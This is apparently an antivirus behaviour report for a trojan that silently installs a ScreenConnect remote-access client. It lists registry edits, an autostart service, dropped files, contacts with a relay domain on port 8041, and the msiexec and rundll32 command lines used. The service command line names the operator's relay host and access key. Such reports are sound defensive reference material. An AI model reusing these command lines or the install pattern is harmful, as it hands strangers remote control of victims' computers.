Trojan.Siggen31.60199

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Classes\sc-132285ba98168831\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (132285ba98168831)\ScreenConnect.WindowsClient.exe" "%1"'

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (132285ba98168831)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (132285ba98168831)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (132285ba98168831)\ScreenConnect.ClientService.exe" "?e...

Creates the following services

'ScreenConnect Client (132285ba98168831)' %ProgramFiles(x86)%\ScreenConnect Client (132285ba98168831)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=cloud.connectscreenrageonline.ink&p=8041&s=17263e91-5f61-4380-b2a8-1320b96d5fde...

Modifies file system

Creates the following files

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<File name>.exe.log
%TEMP%\msi7d59.tmp
%TEMP%\msi7d59.tmp-\screenconnect.installeractions.dll
%TEMP%\msi7d59.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi7d59.tmp-\screenconnect.core.dll
%TEMP%\msi7d59.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df86569027b4395df1.tmp
%WINDIR%\installer\sourcehash{387374f2-c99f-4198-8cd5-c1dd67228d89}
%WINDIR%\temp\~dfbe1057fd58794246.tmp
%WINDIR%\temp\~dfd83b5063bac19bc5.tmp
%WINDIR%\temp\~dfb9b34c36493563cb.tmp
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\app.config
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\client.resources
%WINDIR%\installer\{387374f2-c99f-4198-8cd5-c1dd67228d89}\defaulticon
%WINDIR%\temp\~df411e92f203ebd94c.tmp
%WINDIR%\temp\~dff1ac31e27a893d81.tmp
%WINDIR%\temp\~df9a4e6d533942d7bb.tmp
%WINDIR%\temp\~df70ddf7a2045adb76.tmp
%WINDIR%\temp\~df0be6d7b28ab61a6d.tmp
%WINDIR%\temp\~dfcfaf7cf057638379.tmp
%WINDIR%\temp\~df0b01ce4d26ff5b21.tmp
%WINDIR%\temp\~dff1ab87b27ffe5663.tmp
%TEMP%\content\4552-4644-screenconnect.windowsclient.exe-10-41-36-131.dump
%WINDIR%\temp\content\4528-4508-screenconnect.windowsclient.exe-10-41-39-561.dump

Network activity

Connects to

'cl###.####ectscreenrageonline.ink':8041

TCP

Other

'cl###.####ectscreenrageonline.ink':8041

UDP

DNS ASK cl###.####ectscreenrageonline.ink

Miscellaneous

Creates and executes the following

'%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=cloud.connectscreenrageonline.ink&p=8041&s=17263e91-5f61-4380-b2a8-1320b96d5fde&k=BgIAAACkAABSU0ExAAgAAAEAAQBx1BgSJ02Jg0TZaCfNCVq91JARwD3Y6riV2qEKS9rF5z0RYilVt1ZZgOPKkf21gW...
'%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.windowsclient.exe' "RunRole" "16a0a231-436c-44cd-81bc-2fbbea6abd77" "User"
'%ProgramFiles(x86)%\screenconnect client (132285ba98168831)\screenconnect.windowsclient.exe' "RunRole" "109049f5-2bde-4f95-b7d4-567647487007" "System"

Executes the following

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI7D59.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_951109 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments